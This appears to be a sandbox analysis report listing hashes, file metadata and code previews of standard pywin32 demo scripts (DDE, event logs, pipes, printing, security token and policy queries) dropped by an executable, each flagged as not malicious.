SSDEEP:	12:ggRALa3M6AwMT2BthR9Do1BOiw+VLu9yMr+:h5zAfEh5V+A9dr+
MD5:	2D792963A25E0425CEB0E4EBA9533610
SHA1:	73775E1E6143D54E131BC8BCD5F6B9B8D722B1A9
SHA-256:	DFE50A175652A73619BD31ED5A03567F38B1F4F9B0654273DA0072335A181D0B
SHA-512:	0F8DB0BF6A83E0BFD4DB14AF288668E1FFC24E488CCBBC6A098522C19F22F991F90F92D95050E74B82EEF449C1A17E537ABC40F7572D1F2A6A801B134718E95C
Malicious:	false
Preview:	# 'Request' example added jjk 11/20/98..import dde.import win32ui..server = dde.CreateServer().server.Create("TestClient")..conversation = dde.CreateConversation(server)..conversation.ConnectTo("RunAny", "RunAnyCommand").conversation.Exec("DoSomething").conversation.Exec("DoSomethingElse")..conversation.ConnectTo("RunAny", "ComputeStringLength").s = "abcdefghi".sl = conversation.Request(s).print('length of "%s" is %s' % (s, sl)).

C:\recover\pw\Lib\site-packages\win32\Demos\dde\ddeserver.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1093
Entropy (8bit):	4.931498351786163
Encrypted:	false
SSDEEP:	24:hhtBDAVAasXt8ABeuAf6dABenvAnD4AWbCQov1tX6QK:zD4YXt8Yeua2YenvAnkvbCQov1tX+
MD5:	3F9B69FE31E611D153BE7DF14BAF4C0D
SHA1:	B2ABC26EC0E8C5C849873A3EBC65D14555279B1B
SHA-256:	BDB3478C65F4F8AE8FD7AF89F87C8BD24EAC5B92B9146E4A42E699CAC6342B5A
SHA-512:	94FCF00EFA048DCE40A2753BE45CC8C9C475893BD1DBD2C050631C877A097E5FAEFAE1A34B47099C6C14B000DFAFF6EE4F7864250F8A4FE7D5A1230ABAB8E18E
Malicious:	false
Preview:	# 'Request' example added jjk 11/20/98..import dde.import win32ui.from pywin.mfc import object...class MySystemTopic(object.Object):. def __init__(self):. object.Object.__init__(self, dde.CreateServerSystemTopic()).. def Exec(self, cmd):. print("System Topic asked to exec", cmd)...class MyOtherTopic(object.Object):. def __init__(self, topicName):. object.Object.__init__(self, dde.CreateTopic(topicName)).. def Exec(self, cmd):. print("Other Topic asked to exec", cmd)...class MyRequestTopic(object.Object):. def __init__(self, topicName):. topic = dde.CreateTopic(topicName). topic.AddItem(dde.CreateStringItem("")). object.Object.__init__(self, topic).. def Request(self, aString):. print("Request Topic asked to compute length of:", aString). return str(len(aString))...server = dde.CreateServer().server.AddTopic(MySystemTopic()).server.AddTopic(MyOtherTopic("RunAnyCommand")).server.AddTopic(MyRequestTopic("Com

C:\recover\pw\Lib\site-packages\win32\Demos\desktopmanager.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8141
Entropy (8bit):	4.832909840782592
Encrypted:	false
SSDEEP:	96:DTaWV0QcMBmT0KvPyS8271m87r8s8pFq46wo7j5bpad0/d:DVcRDr8271murH546wOj5bpae/d
MD5:	FF37EA7B3799F4BD22071D7DCB0C7FC7
SHA1:	59C09297374FC5AC1EF12A9E4DC8C5E6494F0B7C
SHA-256:	D7A85B4943DFC4F90973D46EF55DBEE8642BB24177EF95E561D5AFDD7462E018
SHA-512:	072ABEDC346D3F13DCA1026F854915EB38D5A476E30E349A6C16C41DF852BD217001B52F84A00693FEECC8FAB94849C8B93104F43843C796872A0A908DDA26C9
Malicious:	false
Preview:	# Demonstrates using a taskbar icon to create and navigate between desktops..import _thread.import io.import time.import traceback..import pywintypes.import win32api.import win32con.import win32gui.import win32process.import win32service..## "Shell_TrayWnd" is class of system tray window, broadcasts "TaskbarCreated" when initialized...def desktop_name_dlgproc(hwnd, msg, wparam, lparam):. """Handles messages from the desktop name dialog box""". if msg in (win32con.WM_CLOSE, win32con.WM_DESTROY):. win32gui.DestroyWindow(hwnd). elif msg == win32con.WM_COMMAND:. if wparam == win32con.IDOK:. desktop_name = win32gui.GetDlgItemText(hwnd, 72). print("new desktop name: ", desktop_name). win32gui.DestroyWindow(hwnd). create_desktop(desktop_name).. elif wparam == win32con.IDCANCEL:. win32gui.DestroyWindow(hwnd)...def get_new_desktop_name(parent_hwnd):. """Create a dialog box to ask the user for name of desktop

C:\recover\pw\Lib\site-packages\win32\Demos\eventLogDemo.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4421
Entropy (8bit):	4.394676077658835
Encrypted:	false
SSDEEP:	96:9Gs7qeCumrvPFWj9uOLTzMfOkqJq3NZMm5mmPFPgjX:9Gs7qenovPFWsGTYAtmPFPgjX
MD5:	A787AB4A5D05E3A55541E621CC5FA92B
SHA1:	8212FEA481713144E60BC21F5AF8138955F65FF4
SHA-256:	26001027A54ABA3A92CD496D7AC0799BCB595C8B77E98FFA04E74F2CFFDCA113
SHA-512:	6AC6087DEAE2958DF2192312E05A89AAE6AC14D9E9AFAB844D218A20D1729CC0A0D6B8CCC9E5BF4115F5529FFB0BBCF0B3AAC05BC4710C9DE9941CE0B57EBCF5
Malicious:	false
Preview:	import win32api # To translate NT Sids to account names..import win32con.import win32evtlog.import win32evtlogutil.import win32security...def ReadLog(computer, logType="Application", dumpEachRecord=0):. # read the entire log back.. h = win32evtlog.OpenEventLog(computer, logType). numRecords = win32evtlog.GetNumberOfEventLogRecords(h). # print "There are %d records" % numRecords.. num = 0. while 1:. objects = win32evtlog.ReadEventLog(. h,. win32evtlog.EVENTLOG_BACKWARDS_READ \| win32evtlog.EVENTLOG_SEQUENTIAL_READ,. 0,. ). if not objects:. break. for object in objects:. # get it for testing purposes, but dont print it.. msg = win32evtlogutil.SafeFormatMessage(object, logType). if object.Sid is not None:. try:. domain, user, typ = win32security.LookupAccountSid(. computer, object.Sid. )

C:\recover\pw\Lib\site-packages\win32\Demos\getfilever.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	4.847240732987727
Encrypted:	false
SSDEEP:	24:j4TypXUFzmG73wIujOHRuMxqNclmIIzSrNyNHD4couDZgAuwsIo:aQXUDsILuMxXlmIoGYHxouDZHHsIo
MD5:	4F0AC86AB91546ECFCD2EAEFEC6A9516
SHA1:	847E7F42C9D282A1B8A7DFBEF8918341B76CFD75
SHA-256:	6DB2C4E7E5D5EFB2673FD1860F51627F0B84DB21A68AC331C51B3AFB41F7B684
SHA-512:	7A41AB6EE47275F89BEC82CE0EF9C6D417E88DCC094C653F95D1ABB88E6FC3FBA4F96A423071A32FEB2A3A8DD2D8AC1CBC9E2A33DA4C917ED234F347D1CB987D
Malicious:	false
Preview:	import os..import win32api..ver_strings = (. "Comments",. "InternalName",. "ProductName",. "CompanyName",. "LegalCopyright",. "ProductVersion",. "FileDescription",. "LegalTrademarks",. "PrivateBuild",. "FileVersion",. "OriginalFilename",. "SpecialBuild",.).fname = os.environ["comspec"].d = win32api.GetFileVersionInfo(fname, "\\").## backslash as parm returns dictionary of numeric info corresponding to VS_FIXEDFILEINFO struc.for n, v in d.items():. print(n, v)..pairs = win32api.GetFileVersionInfo(fname, "\\VarFileInfo\\Translation").## \VarFileInfo\Translation returns list of available (language, codepage) pairs that can be used to retreive string info.## any other must be of the form \StringfileInfo\%04X%04X\parm_name, middle two are language/codepage pair returned from above.for lang, codepage in pairs:. print("lang: ", lang, "codepage:", codepage). for ver_string in ver_strings:. str_info = "\\StringFileInfo\\%04X%04X\\%s" % (lang,

C:\recover\pw\Lib\site-packages\win32\Demos\images\frowny.bmp

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PC bitmap, Windows 3.x format, 32 x 32 x 24, image size 3072, cbSize 3126, bits offset 54
Category:	dropped
Size (bytes):	3126
Entropy (8bit):	4.866601281143834
Encrypted:	false
SSDEEP:	48:QJbd92m1SGlnHZ4Yuu5I/p/UdCHMaVU42PVA0O0JR0Rj70Rp0OCv0QQH080D9m:QJbd911zlq/5JFj2NU6xyv9m
MD5:	67D3F80FA18D9298FB9BD346BF1905F3
SHA1:	8528E2B4B8E8681828518337925D2876809B7454
SHA-256:	4601AF795B74E772A5995E2A546C1D0ADACFC91034253E7B290BDFF4F34E22F5
SHA-512:	F52A0DF170AF6E1A43947C66EE5C97B9A2A7669A21FDABA24490CB97C5FD8450920E79AA2205D3E11DD7484D2CE95FAA7043D621E278025A9081C5F060BA7347
Malicious:	false
Preview:	BM6.......6...(... ... ...........................................................................................................................................................................................................................................................................................@..@............................................................................................@..@........................................................................................."..$..&.... .. .................................................................................."..$.... .. ........................................#.$#.$......................................."..$..&..)..+......................................#.$#.$.........................................."..$..&..)........................................................................................."..$..&..)..+................................$....................................................."..$..&..)

C:\recover\pw\Lib\site-packages\win32\Demos\images\smiley.bmp

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PC bitmap, Windows 3.x format, 32 x 32 x 24, image size 3072, cbSize 3126, bits offset 54
Category:	dropped
Size (bytes):	3126
Entropy (8bit):	4.039217657290414
Encrypted:	false
SSDEEP:	48:i27oH9YEJtIq0Q0x0P0n5Z0wZaG0WQv0NN0C0nw:dfRYw
MD5:	CA4F178B4A665A1DA21AEA80C7E796F7
SHA1:	3A7E64ADC019F45290C43B04E6A1072A55470586
SHA-256:	C22E778D80B2E76DDF1588FF1588331B577141D12BC3EA30DBFFDD7E85FD82C0
SHA-512:	97BDC1BAE0FAC2582ABF11F318937318D33EFF1664CCE499C4D95316A25CB87B0599E9E4CAA5D911B0F465E4F491A4E2F23E4EE87E14D9A0C8CE1FD6150982E9
Malicious:	false
Preview:	BM6.......6...(... ... .................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................#.$#.$..........................................................................................#.$#.$..........................................................................................................................................................................................$...............................................................

C:\recover\pw\Lib\site-packages\win32\Demos\mmapfile_demo.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	2888
Entropy (8bit):	4.8375775005209265
Encrypted:	false
SSDEEP:	48:knDxrrsqXh6/6LCN8Czanw7IbHbfqVGvr7lFqkVlL7ukeTX1:knDxrrTXg/6LC3GsKbfqVGjPqG3c1
MD5:	A333358AEA4B17F65D614B8ABFE55ED4
SHA1:	94F0486D40A0D9A6C65AE10CDD78122B37DB7F24
SHA-256:	FFED0CEB4B51A0800A19600776E389A112E465E842BCFC98EDE1E8426AF0DF5F
SHA-512:	F6B99C26C726D736A119AA10A4907AB61E8FA36CBB138EC7FAFBAD1E68A55BFC78F300B214639C7BB25F0DD1F6810F8E1AE7A1DE4C23FF43917C3E22A59AA45B
Malicious:	false
Preview:	import os.import tempfile..import mmapfile.import win32api.import winerror.from pywin32_testutil import str2bytes..system_info = win32api.GetSystemInfo().page_size = system_info[1].alloc_size = system_info[7]..fname = tempfile.mktemp().mapping_name = os.path.split(fname)[1].fsize = 8 * page_size.print(fname, fsize, mapping_name)..m1 = mmapfile.mmapfile(File=fname, Name=mapping_name, MaximumSize=fsize).m1.seek(100).m1.write_byte(str2bytes("?")).m1.seek(-1, 1).assert m1.read_byte() == str2bytes("?")..## A reopened named mapping should have exact same size as original mapping.m2 = mmapfile.mmapfile(Name=mapping_name, File=None, MaximumSize=fsize * 2).assert m2.size() == m1.size().m1.seek(0, 0).m1.write(fsize * str2bytes("s")).assert m2.read(fsize) == fsize * str2bytes("s")..move_src = 100.move_dest = 500.move_size = 150..m2.seek(move_src, 0).assert m2.tell() == move_src.m2.write(str2bytes("m") * move_size).m2.move(move_dest, move_src, move_size).m2.seek(move_dest, 0).assert m2.read(move_s

C:\recover\pw\Lib\site-packages\win32\Demos\pipes\cat.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	335
Entropy (8bit):	4.496864057756722
Encrypted:	false
SSDEEP:	6:9Msoe/ErAzXKkYHPUHyHmYTR7VgWxvyLW3StbYTR7Vf3v//ZeSZ/XJXrdiLUs6:OVe/EUTbZHyHmYTbvvebYTb/v/tJ7gL4
MD5:	9958EDE52157CBF9F56DFF07C4499108
SHA1:	5D1EABF96A11361804DDA8FB94BF9E3E902FA540
SHA-256:	DA45A4922FA32C3668876043811CCCC43198C89C263B17FBD3CDE4BDDD988496
SHA-512:	575187E4345C37B119838503400E938560BF5AAEE2B6CAAA62835BAC76EA832DC06E779C35EE898748116FA69807ABA580D5462490BE7738E2BC029E9855FBC1
Malicious:	false
Preview:	"""cat.py.a version of unix cat, tweaked to show off runproc.py."""..import sys..data = sys.stdin.read(1).sys.stdout.write(data).sys.stdout.flush().while data:. data = sys.stdin.read(1). sys.stdout.write(data). sys.stdout.flush().# Just here to have something to read from stderr..sys.stderr.write("Blah...")..# end of cat.py.

C:\recover\pw\Lib\site-packages\win32\Demos\pipes\runproc.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4029
Entropy (8bit):	4.550391036233513
Encrypted:	false
SSDEEP:	96:qG4T/T68SbTXy62/K+KovQtw6guU/Tm3Z+Bo2x:qbLgXy6WKcHIEig
MD5:	EA0603E314B6C0CB3396B100E9AA1A2C
SHA1:	FE3D6C231A64E599C31582F58FD2B45C014C728B
SHA-256:	837AADE7BA490576FD507189F3BDA6EB0521F56EF44822A8BCD1057D1E271F08
SHA-512:	3A58C4569855F08E252D5C339A6B80308EA1FAD4168E9F50B9387631CFC118DEAD08F56DFA8D718614A24FC17F956637DEB10F36CAC95711C5A2A757941049DE
Malicious:	false
Preview:	"""runproc.py..start a process with three inherited pipes..Try to write to and read from those.."""..import msvcrt.import os..import win32api.import win32con.import win32file.import win32pipe.import win32process.import win32security...class Process:. def run(self, cmdline):. # security attributes for pipes. sAttrs = win32security.SECURITY_ATTRIBUTES(). sAttrs.bInheritHandle = 1.. # create pipes. hStdin_r, self.hStdin_w = win32pipe.CreatePipe(sAttrs, 0). self.hStdout_r, hStdout_w = win32pipe.CreatePipe(sAttrs, 0). self.hStderr_r, hStderr_w = win32pipe.CreatePipe(sAttrs, 0).. # set the info structure for the new process.. StartupInfo = win32process.STARTUPINFO(). StartupInfo.hStdInput = hStdin_r. StartupInfo.hStdOutput = hStdout_w. StartupInfo.hStdError = hStderr_w. StartupInfo.dwFlags = win32process.STARTF_USESTDHANDLES. # Mark doesn't support wShowWindow yet.. # StartupInfo.dwFla

C:\recover\pw\Lib\site-packages\win32\Demos\print_desktop.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2859
Entropy (8bit):	5.16397412167526
Encrypted:	false
SSDEEP:	48:3Iusl8P/XKhIH+DvhcqR1sPH8C72hDhKqMhKNtwKGzQigwFz3rYA/9:3IuslyfJ+9NR1OOAQihz3rYA/9
MD5:	6358F39A6DC68902315A154AA803745C
SHA1:	32C7399756A96B1A7EC0CEC7708713B7A7B5A904
SHA-256:	008B4576E46966832603683F16735B22AD0950969DFA362FF593E169C665EB12
SHA-512:	F8492FE12112BA5F792D30E733F7530D40F1B0A4E39A2970CD70B3785B3EE68B3CF86B1E8DFFEDD949F1CE4718AA80CEC2E433076D416E6B9E2C71273A5C3968
Malicious:	false
Preview:	import pywintypes.import win32api.import win32con.import win32gui.import win32print..pname = win32print.GetDefaultPrinter().print(pname).p = win32print.OpenPrinter(pname).print("Printer handle: ", p).print_processor = win32print.GetPrinter(p, 2)["pPrintProcessor"].## call with last parm set to 0 to get total size needed for printer's DEVMODE.dmsize = win32print.DocumentProperties(0, p, pname, None, None, 0).## dmDriverExtra should be total size - fixed size.driverextra = (. dmsize - pywintypes.DEVMODEType().Size.) ## need a better way to get DEVMODE.dmSize.dm = pywintypes.DEVMODEType(driverextra).dm.Fields = dm.Fields \| win32con.DM_ORIENTATION \| win32con.DM_COPIES.dm.Orientation = win32con.DMORIENT_LANDSCAPE.dm.Copies = 2.win32print.DocumentProperties(. 0, p, pname, dm, dm, win32con.DM_IN_BUFFER \| win32con.DM_OUT_BUFFER.)..pDC = win32gui.CreateDC(print_processor, pname, dm).printerwidth = win32print.GetDeviceCaps(pDC, win32con.PHYSICALWIDTH).printerheight = win32print.GetDeviceC

C:\recover\pw\Lib\site-packages\win32\Demos\rastest.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5119
Entropy (8bit):	4.511953665676077
Encrypted:	false
SSDEEP:	96:wIXZgAxi7KRWyEAkFY564o3qwi0JjfcAfB++IsYZ+zi:wIJ1A7cWyExOdo3qsjUAfB++UUi
MD5:	347610E8C7711F155A18C0D2F7C0352B
SHA1:	85807052AA60E4B5C373A4F58247F28D17687127
SHA-256:	7E0672B7B0DECDB4DE70FD6E60310F2C7680B6BB72637532CF9B1F7309C87C25
SHA-512:	74166363C0DF4D2E2AFE037DE405E964F57BD50DD5464D749861C46C4E1031969D13D62286283EA4EF202E04846DF86E34EEA47F554CDD259622185075975483
Malicious:	false
Preview:	# rastest.py - test/demonstrate the win32ras module..# Much of the code here contributed by Jethro Wright...import os.import sys..import win32ras..# Build a little dictionary of RAS states to decent strings..# eg win32ras.RASCS_OpenPort -> "OpenPort".stateMap = {}.for name, val in list(win32ras.__dict__.items()):. if name[:6] == "RASCS_":. stateMap[val] = name[6:]..# Use a lock so the callback can tell the main thread when it is finished..import win32event..callbackEvent = win32event.CreateEvent(None, 0, 0, None)...def Callback(hras, msg, state, error, exterror):. # print "Callback called with ", hras, msg, state, error, exterror. stateName = stateMap.get(state, "Unknown state?"). print("Status is %s (%04lx), error code is %d" % (stateName, state, error)). finished = state in [win32ras.RASCS_Connected]. if finished:. win32event.SetEvent(callbackEvent). if error != 0 or int(state) == win32ras.RASCS_Disconnected:. # we know for sure t

C:\recover\pw\Lib\site-packages\win32\Demos\security\GetTokenInformation.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3738
Entropy (8bit):	4.905364376160403
Encrypted:	false
SSDEEP:	96:wbyTs6+DD1B+xkMJ6g09u1n5B82lHIOt8qtbvGAB2qX60:ti1B6kw702n5B82lHIvWNB2260
MD5:	7B913DC758A779FFDDEA7E0D37EBE7A5
SHA1:	663C68C7B556954444E5B5BAA991578B85A43871
SHA-256:	482D57BCEB5C175FFDB0C2BE6CD25CEF2131D8F327B47926C7DA699DB9A89A80
SHA-512:	C500AAB1BCD3DD9F005A65A173C0D0B63823952CE864BD0F4C10C44C549A86B02E437218720327E187C457666D5C94A2EFDE25A20E70BC4B62EC4655D44734DF
Malicious:	false
Preview:	""" Lists various types of information about current user's access token,. including UAC status on Vista."""..import pywintypes.import win32api.import win32con.import win32security.import winerror.from security_enums import (. SECURITY_IMPERSONATION_LEVEL,. TOKEN_ELEVATION_TYPE,. TOKEN_GROUP_ATTRIBUTES,. TOKEN_PRIVILEGE_ATTRIBUTES,. TOKEN_TYPE,.)...def dump_token(th):. token_type = win32security.GetTokenInformation(th, win32security.TokenType). print("TokenType:", token_type, TOKEN_TYPE.lookup_name(token_type)). if token_type == win32security.TokenImpersonation:. imp_lvl = win32security.GetTokenInformation(. th, win32security.TokenImpersonationLevel. ). print(. "TokenImpersonationLevel:",. imp_lvl,. SECURITY_IMPERSONATION_LEVEL.lookup_name(imp_lvl),. ).. print(. "TokenSessionId:",. win32security.GetTokenInformation(th, win32security.TokenSessionId),. ).. privs = win

C:\recover\pw\Lib\site-packages\win32\Demos\security\account_rights.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	5.2466444341148915
Encrypted:	false
SSDEEP:	24:1hmZwhp2hVJhBhh/zznnPUMSdDa4MYC/pkCO73AgELLGmrG73AKNn:13hcrJnhJ3nnPPSNXMYC/mEgELLwEYn
MD5:	A8EB3625681C9A6CC94C98E822B01430
SHA1:	866FD6D4341E8063991E151E331790C267719092
SHA-256:	16CA9F905009A0526D1D5ED466271F86F4F75663AE2E6AE7DA22A5E5AA585CDF
SHA-512:	C33BB12877845E24DA0529F2C2CE99B82DC5F83312D027E2FCBD7CF22B7441E205BFB3E508293E73D7F4C95ECC4FF79F8C2092720E6CD19A5B98A1F59CCC1628
Malicious:	false
Preview:	import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from security_enums import ACCESS_MODE, ACE_FLAGS, TRUSTEE_FORM, TRUSTEE_TYPE..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", "SeEnableDelegationPrivilege"),. win32con.SE_PRIVILEGE_ENABLED,. ), ##doesn't seem to be in ntsecuritycon.py ?.)..ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS.) ##win32con.TOKEN_ADJUST_PRIVILEGES).win32security.AdjustTokenPrivileges(th, 0, new_privs)..policy_handle = win32security.GetPolicyHandle("", win32security.POLICY_ALL_ACCESS).tmp_sid = win32security.LookupAccountName("", "tmp")[0]..privs = [. ntsecuri

C:\recover\pw\Lib\site-packages\win32\Demos\security\explicit_entries.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	5.24705878297574
Encrypted:	false
SSDEEP:	96:8FBrRcYK5NhJ3PqF5VjhInHnp7PWKqocmucmPcmwcm9cmFcmZcmRcm3wK:Or+YK5NhJ/qHcnHp7PWKqocmucmPcmwb
MD5:	ECA138C7B9FBBEDA6649E1E09F0DF95D
SHA1:	D396A7CF23F109CC687B2D65A39EBC8631D5501B
SHA-256:	9A5B596AB47503F4E5FCB0D02D1B21C1AD94F1F036B981A99F4FE9C8501CA139
SHA-512:	1600C901014A6FCA6CCA41EAC797A6FA340E994D8613130074E2872FF294B09A6B76916A732DB31CF50E941591DCC12BB8BEC5D4494921AA67AFBBDCBAB6A2C3
Malicious:	false
Preview:	import os..import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from security_enums import ACCESS_MODE, ACE_FLAGS, TRUSTEE_FORM, TRUSTEE_TYPE..fname = os.path.join(win32api.GetTempPath(), "win32security_test.txt").f = open(fname, "w").f.write("Hello from Python\n").f.close().print("Testing on file", fname)..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win3

C:\recover\pw\Lib\site-packages\win32\Demos\security\get_policy_info.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	4.826107186911052
Encrypted:	false
SSDEEP:	24:1dVaWnVQMN4MvDZriSrxC8rrkiQOIiThZUIiCZfpirjFNn:1zXvDnxC8rVUYf8jzn
MD5:	474FBFA718653659E1E7041B60B5CDC1
SHA1:	BDAD73C99EBB28EB782B81F6B9365C8D9F53A429
SHA-256:	EE3264A6EA5BC3EF455DB3B1308E6D6EFD153736B3864C6AFFE3CF83A4C1DD29
SHA-512:	952543CA9A75A9D3F3CB0B6C573AE1CA58849370EF5FD4D3A2A5D3DB6BEBAADC54EE226C317F8C9DE1C6C101BE4DB82F692D284C722D3873ED82F9405B1660AE
Malicious:	false
Preview:	import ntsecuritycon.import win32api.import win32file.import win32security..policy_handle = win32security.GetPolicyHandle("rupole", win32security.POLICY_ALL_ACCESS)..## mod_nbr, mod_time = win32security.LsaQueryInformationPolicy(policy_handle,win32security.PolicyModificationInformation).## print mod_nbr, mod_time..(. domain_name,. dns_domain_name,. dns_forest_name,. domain_guid,. domain_sid,.) = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyDnsDomainInformation.).print(domain_name, dns_domain_name, dns_forest_name, domain_guid, domain_sid)..event_audit_info = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyAuditEventsInformation.).print(event_audit_info)..domain_name, sid = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyPrimaryDomainInformation.).print(domain_name, sid)..domain_name, sid = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyAccou

C:\recover\pw\Lib\site-packages\win32\Demos\security\list_rights.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1142
Entropy (8bit):	5.222962792869748
Encrypted:	false
SSDEEP:	24:1hmZwhp2hVJhBhh/zznnPUMSdDabSsQZ8Nn:13hcrJnhJ3nnPPSN88qn
MD5:	3C91061F858441D3452E1DF39EA29436
SHA1:	1F0B24F95ADB0023492501653F89647D4AA4AE1F
SHA-256:	68A481C6BCD6FCDA88A0C957BFDF2CEFDAEE895E4FD1E61C00FF24792095A883
SHA-512:	64C9FA96B29218FE2E8F408633A4E4F76A4B2D5167DE27B4DBA5B11C357D6AA80313C6C5E6079FD77F453C1FD6021DE13BEDDEE61EE0373FF8F4E35FCD0A0152
Malicious:	false
Preview:	import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from security_enums import ACCESS_MODE, ACE_FLAGS, TRUSTEE_FORM, TRUSTEE_TYPE..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", "SeEnableDelegationPrivilege"),. win32con.SE_PRIVILEGE_ENABLED,. ), ##doesn't seem to be in ntsecuritycon.py ?.)..ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS.) ##win32con.TOKEN_ADJUST_PRIVILEGES).win32security.AdjustTokenPrivileges(th, 0, new_privs)..policy_handle = win32security.GetPolicyHandle("", win32security.POLICY_ALL_ACCESS)..sidlist = win32security.LsaEnumerateAccountsWithUserRight(. policy_handle,

C:\recover\pw\Lib\site-packages\win32\Demos\security\localized_names.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2014
Entropy (8bit):	4.963463813027583
Encrypted:	false
SSDEEP:	48:5mRAZ3dglAepb18kfCy6Tq/wjRRzCNXd4mskDTq/deI3YG9P1Oi:5mmVdgR85MwjRRzCAfKMdbYG99Oi
MD5:	42D316038232ACEB8893229577D4388C
SHA1:	100EDC412265A66533472CC3117FCCB93866E1E2
SHA-256:	774AA56DBC4A7E982740EF586FC1A12584591D8B5EACC00E9E7FCEE81691A3B0
SHA-512:	0502AB71542AE07E451BE1EBCBE8755785D915F1F1AB16D3181EB03FB359A17353418767EEC64F5AB66B20EB41C97977B244EAEA32FBA8CB237D3AAA2556D71F
Malicious:	false
Preview:	# A Python port of the MS knowledge base article Q157234.# "How to deal with localized and renamed user and group names".# http://support.microsoft.com/default.aspx?kbid=157234..import sys..import pywintypes.from ntsecuritycon import *.from win32net import NetUserModalsGet.from win32security import LookupAccountSid...def LookupAliasFromRid(TargetComputer, Rid):. # Sid is the same regardless of machine, since the well-known. # BUILTIN domain is referenced.. sid = pywintypes.SID(). sid.Initialize(SECURITY_NT_AUTHORITY, 2).. for i, r in enumerate((SECURITY_BUILTIN_DOMAIN_RID, Rid)):. sid.SetSubAuthority(i, r).. name, domain, typ = LookupAccountSid(TargetComputer, sid). return name...def LookupUserGroupFromRid(TargetComputer, Rid):. # get the account domain Sid on the target machine. # note: if you were looking up multiple sids based on the same. # account domain, only need to call this once.. umi2 = NetUserModalsGet(TargetComputer, 2). domain_sid

C:\recover\pw\Lib\site-packages\win32\Demos\security\lsaregevent.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	532
Entropy (8bit):	4.892813022065808
Encrypted:	false
SSDEEP:	12:4LeLhsLM5eLUSWKUHXAV/FTMNFSs4PNLAXKCJZplNPQM3AV/Fp:Z9c10HXAQFSflUzXplNxA1
MD5:	7FE72D1C66C68BF2236E8E5B4E06AD82
SHA1:	EAC9ACD7D5E552EDBC404028CAA862CD39574F23
SHA-256:	635057C3AFDD79AA63C70008E849DBE16DE3C3F0C42E46756AD66B3AC8B3A555
SHA-512:	FFC8ECB562BA19C51885C3BDFC7DFAEE8C76BF548E7F947B9637BAB7CAB7FD8384BED963EB3D62915ADDBA672AE283BCF25AD752F582E8DF762E014457B0711B
Malicious:	false
